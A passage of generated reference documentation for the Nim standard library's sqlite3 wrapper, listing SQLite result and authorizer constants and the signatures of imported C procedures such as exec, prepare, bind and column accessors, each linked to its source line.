[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L54) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L54) ``` SQLITE_CORRUPT = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L55) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L55) ``` SQLITE_NOTFOUND = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L56) ``` SQLITE_FULL = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L57) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L57) ``` SQLITE_CANTOPEN = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L58) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L58) ``` SQLITE_PROTOCOL = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L59) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L59) ``` SQLITE_EMPTY = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L60) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L60) ``` SQLITE_SCHEMA = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L61) ``` SQLITE_TOOBIG = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L62) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L62) ``` SQLITE_CONSTRAINT = 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L63) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L63) ``` SQLITE_MISMATCH = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L64) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L64) ``` SQLITE_MISUSE = 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L65) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L65) ``` SQLITE_NOLFS = 22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L66) ``` SQLITE_AUTH = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L67) ``` SQLITE_FORMAT = 24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L68) ``` SQLITE_RANGE = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L69) ``` SQLITE_NOTADB = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L70) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L70) ``` SQLITE_ROW = 100 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L71) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L71) ``` SQLITE_DONE = 101 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L72) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L72) ``` SQLITE_COPY = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L73) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L73) ``` SQLITE_CREATE_INDEX = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L74) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L74) ``` SQLITE_CREATE_TABLE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L75) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L75) ``` SQLITE_CREATE_TEMP_INDEX = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L76) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L76) ``` SQLITE_CREATE_TEMP_TABLE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L77) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L77) ``` SQLITE_CREATE_TEMP_TRIGGER = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L78) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L78) ``` SQLITE_CREATE_TEMP_VIEW = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L79) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L79) ``` SQLITE_CREATE_TRIGGER = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L80) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L80) ``` SQLITE_CREATE_VIEW = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L81) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L81) ``` SQLITE_DELETE = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L82) ``` SQLITE_DROP_INDEX = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L83) ``` SQLITE_DROP_TABLE = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L84) ``` SQLITE_DROP_TEMP_INDEX = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L85) ``` SQLITE_DROP_TEMP_TABLE = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L86) ``` SQLITE_DROP_TEMP_TRIGGER = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L87) ``` SQLITE_DROP_TEMP_VIEW = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L88) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L88) ``` SQLITE_DROP_TRIGGER = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L89) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L89) ``` SQLITE_DROP_VIEW = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L90) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L90) ``` SQLITE_INSERT = 18 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L91) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L91) ``` SQLITE_PRAGMA = 19 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L92) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L92) ``` SQLITE_READ = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L93) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L93) ``` SQLITE_SELECT = 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L94) ``` SQLITE_TRANSACTION = 22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L95) ``` SQLITE_UPDATE = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L96) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L96) ``` SQLITE_ATTACH = 24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L97) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L97) ``` SQLITE_DETACH = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L98) ``` SQLITE_ALTER_TABLE = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L99) ``` SQLITE_REINDEX = 27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L100) ``` SQLITE_DENY = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L101) ``` SQLITE_IGNORE = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L102) ``` SQLITE_DETERMINISTIC = 0x00000800 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L105) ``` SQLITE_STATIC = nil ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L137) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L137) ``` SQLITE_TRANSIENT = -1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L138) Procs ----- ``` proc close(para1: PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_close".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L140) ``` proc exec(para1: PSqlite3; sql: cstring; para3: Callback; para4: pointer; errmsg: var cstring): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_exec".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L141) ``` proc last_insert_rowid(para1: PSqlite3): int64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_last_insert_rowid".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L144) ``` proc changes(para1: PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_changes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L146) ``` proc total_changes(para1: PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_total_changes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L147) ``` proc interrupt(para1: PSqlite3) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_interrupt".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L149) ``` proc complete(sql: cstring): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_complete".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L150) ``` proc complete16(sql: pointer): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_complete16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L152) ``` proc busy_handler(para1: PSqlite3; para2: proc (para1: pointer; para2: int32): int32 {...}{.cdecl.}; para3: pointer): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_busy_handler".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L154) ``` proc busy_timeout(para1: PSqlite3; ms: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_busy_timeout".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L158) ``` proc get_table(para1: PSqlite3; sql: cstring; resultp: var cstringArray; nrow, ncolumn: var cint; errmsg: ptr cstring): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_get_table".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L160) ``` proc free_table(result: cstringArray) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_free_table".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L163) ``` proc mprintf(para1: cstring): cstring {...}{.cdecl, varargs, dynlib: Lib, importc: "sqlite3_mprintf".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L167) ``` proc free(z: cstring) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_free".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L170) ``` proc snprintf(para1: int32; para2: cstring; para3: cstring): cstring {...}{.cdecl, dynlib: Lib, varargs, importc: "sqlite3_snprintf".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L172) ``` proc set_authorizer(para1: PSqlite3; xAuth: proc (para1: pointer; para2: int32; para3: cstring; para4: cstring; para5: cstring; para6: cstring): int32 {...}{. cdecl.}; pUserData: pointer): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_set_authorizer".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L174) ``` proc trace(para1: PSqlite3; xTrace: proc (para1: pointer; para2: cstring) {...}{.cdecl.}; para3: pointer): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_trace".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L178) ``` proc progress_handler(para1: PSqlite3; para2: int32; para3: proc (para1: pointer): int32 {...}{.cdecl.}; para4: pointer) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_progress_handler".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L181) ``` proc commit_hook(para1: PSqlite3; para2: proc (para1: pointer): int32 {...}{.cdecl.}; para3: pointer): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_commit_hook".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L185) ``` proc open(filename: cstring; ppDb: var PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_open".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L188) ``` proc open16(filename: pointer; ppDb: var PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_open16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L190) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L190) ``` proc errcode(db: PSqlite3): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_errcode".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L192) ``` proc errmsg(para1: PSqlite3): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_errmsg".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L193) ``` proc errmsg16(para1: PSqlite3): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_errmsg16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L194) ``` proc prepare(db: PSqlite3; zSql: cstring; nBytes: int32; ppStmt: var PStmt; pzTail: ptr cstring): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_prepare".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L196) ``` proc prepare_v2(db: PSqlite3; zSql: cstring; nByte: cint; ppStmt: var PStmt; pzTail: ptr cstring): cint {...}{.importc: "sqlite3_prepare_v2", cdecl, dynlib: Lib.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L200) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L200) ``` proc prepare16(db: PSqlite3; zSql: pointer; nBytes: int32; ppStmt: var PStmt; pzTail: var pointer): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_prepare16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L204) ``` proc bind_blob(para1: PStmt; para2: int32; para3: pointer; n: int32; para5: Tbind_destructor_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_blob".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L207) ``` proc bind_double(para1: PStmt; para2: int32; para3: float64): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_double".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L210) ``` proc bind_int(para1: PStmt; para2: int32; para3: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_int".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L212) ``` proc bind_int64(para1: PStmt; para2: int32; para3: int64): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_int64".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L214) ``` proc bind_null(para1: PStmt; para2: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_null".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L216) ``` proc bind_text(para1: PStmt; para2: int32; para3: cstring; n: int32; para5: Tbind_destructor_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_text".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L218) ``` proc bind_text16(para1: PStmt; para2: int32; para3: pointer; para4: int32; para5: Tbind_destructor_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_text16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L221) ``` proc bind_blob(para1: PStmt; para2: int32; para3: pointer; n: int32; para5: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_blob".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L227) ``` proc bind_text(para1: PStmt; para2: int32; para3: cstring; n: int32; para5: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_text".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L230) ``` proc bind_text16(para1: PStmt; para2: int32; para3: pointer; para4: int32; para5: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_text16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L233) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L233) ``` proc bind_parameter_count(para1: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_parameter_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L236) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L236) ``` proc bind_parameter_name(para1: PStmt; para2: int32): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_parameter_name".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L238) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L238) ``` proc bind_parameter_index(para1: PStmt; zName: cstring): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_bind_parameter_index".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L240) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L240) ``` proc clear_bindings(para1: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_clear_bindings".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L242) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L242) ``` proc column_count(PStmt: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L244) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L244) ``` proc column_name(para1: PStmt; para2: int32): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_name".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L246) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L246) ``` proc column_table_name(para1: PStmt; para2: int32): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_table_name".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L248) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L248) ``` proc column_name16(para1: PStmt; para2: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_name16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L250) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L250) ``` proc column_decltype(para1: PStmt; i: int32): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_decltype".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L252) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L252) ``` proc column_decltype16(para1: PStmt; para2: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_decltype16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L254) ``` proc step(para1: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_step".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L256) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L256) ``` proc data_count(PStmt: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_data_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L257) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L257) ``` proc column_blob(para1: PStmt; iCol: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_blob".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L259) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L259) ``` proc column_bytes(para1: PStmt; iCol: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_bytes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L261) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L261) ``` proc column_bytes16(para1: PStmt; iCol: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_bytes16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L263) 